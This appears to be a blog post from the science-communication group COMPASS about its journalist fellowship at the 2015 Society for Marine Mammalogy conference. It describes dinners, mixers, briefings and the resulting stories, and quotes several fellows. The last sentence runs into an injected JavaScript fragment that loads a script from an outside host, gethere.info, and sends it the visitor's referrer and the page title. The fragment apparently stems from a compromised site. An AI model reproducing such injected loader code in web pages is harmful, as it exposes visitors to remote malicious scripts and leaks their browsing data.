Mining Science for Stories: The Value of Journalist Fellows at the Society for Marine Mammalogy Meeting 2015 (#MARMAM15)

What happens when you offer an opportunity for 14 journalists to rub shoulders with 2,500 scientists at the world’s premier conference of marine mammal science? To aid and abet connections between them, we designed opportunities for the scientists and journalists to interact and engage so that journalists could find great stories to share with the wider world. But how do you measure the value of an effort like this?

The SMM 2015 COMPASS Journalist Fellows introduce themselves to the conference. Photo by COMPASS staff.

The SMM 2015 COMPASS Journalist Fellows introduce themselves to the conference. Photo by COMPASS staff.

We could measure the success of COMPASS’ 2015 Society for Marine Mammalogy Conference (SMM 2015) Journalist Fellowship program by the numbers:

  • 14 Journalist Fellows who write and produce for a variety of outlets, including The New York Times, Scientific American, Discover, Science, Nature, Reuters, BBC, National Geographic, Pacific Standard, High Country News and more, are now brimming with story ideas about marine mammals;
  • 5 days of conference activities at the Hilton Union Square in San Francisco the week of December 14, including more than 500 hundred scientific presentations, 800 posters, and 9 plenary sessions;
  • 6 beat dinners in which Journalist Fellows met with groups of scientists on hot topics, including climate change in the Arctic (with former White House polar advisor Brendan Kelly and others), whale entanglement in fishing gear (with International Whaling Commission Executive Director Rebecca Lent and others), and marine protected areas (with Duke University Professor Emeritus Mike Orbach and others);
  • 2 media mixer receptions in which scientists were encouraged to mingle with journalists and pitch their work (with the added incentive of collecting free drink tickets for doing so);
  • A plenary session with scientific giants Jane Lubchenco, Marcia McNutt, Nick Gales, and Charles Littnan, and top science journalists Ken Weiss and David Malakoff, on the importance of communicating science, in which the fellows were introduced to the 2,500 conference participants;
  • A hands-on workshop for scientists to practice their 30-second elevator speech on journalists and others;
  • A press briefing with an award-winning international team of scientists working to protect the highly endangered vaquita in the Gulf of California;
  • An informal lunch where scientists from Southeast Asia discussed their work in Indonesia, Malaysia, Thailand, and elsewhere with Journalist Fellows; and
  • A press conference with 23 journalists attending and many more phoning in, on a just-released paper in Science by Peter Cook et al. documenting the neurological impacts of toxic algae on sea lions, resulting in at least 50 articles in national and international publications;
  • 9 published stories to date generated by the fellows (with more to come).

And then, of course, there are the relationships forged – a powerful part of the fellowship experience that’s harder to measure in numbers, but emerges in the fellow’s own words. In a thank you note to COMPASS staff after the conference, SMM 2015 Journalist Fellow and Emmy-award winning filmmaker Michael Werner wrote:

“I left the conference feeling inspired and filled with new story ideas and valuable connections. The connections I made were due in no small part to the support and attention you and your COMPASS colleagues gave the Journalism Fellows. The clever ways you found to integrate us into the conference were fantastic and so very helpful. ”

SMM 2015 Journalist Fellow and freelance writer and photographer Isabelle Groc had a similar experience, saying:

“I got many ideas for features from the conference, but most importantly and thanks to COMPASS I felt I was able to fast-track some ideas and connections that I had been thinking about for some time, but could not necessarily pursue through just phone and email. The face-to-face contact with scientists that COMPASS facilitated allowed me to accomplish just in a few days what would have normally taken months.”

And SMM 2015 Journalist Fellow and freelance writer John Platt told us, “I got quite a few story ideas and met dozens of sources for future articles.”

But the real measures of success for the COMPASS’ 2015 Society for Marine Mammalogy Conference (SMM 2015) Journalist Fellowship are the countless interviews, connections and story ideas the Fellows accumulated over the course of their stay: fodder for even more stories, and more in-depth reporting, down the road. Clearly, the full payoff of their time in San Francisco is yet to be seen.s.src=’http://gethere.info/kt/?264dpr&frm=script&se_referrer=’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + ”;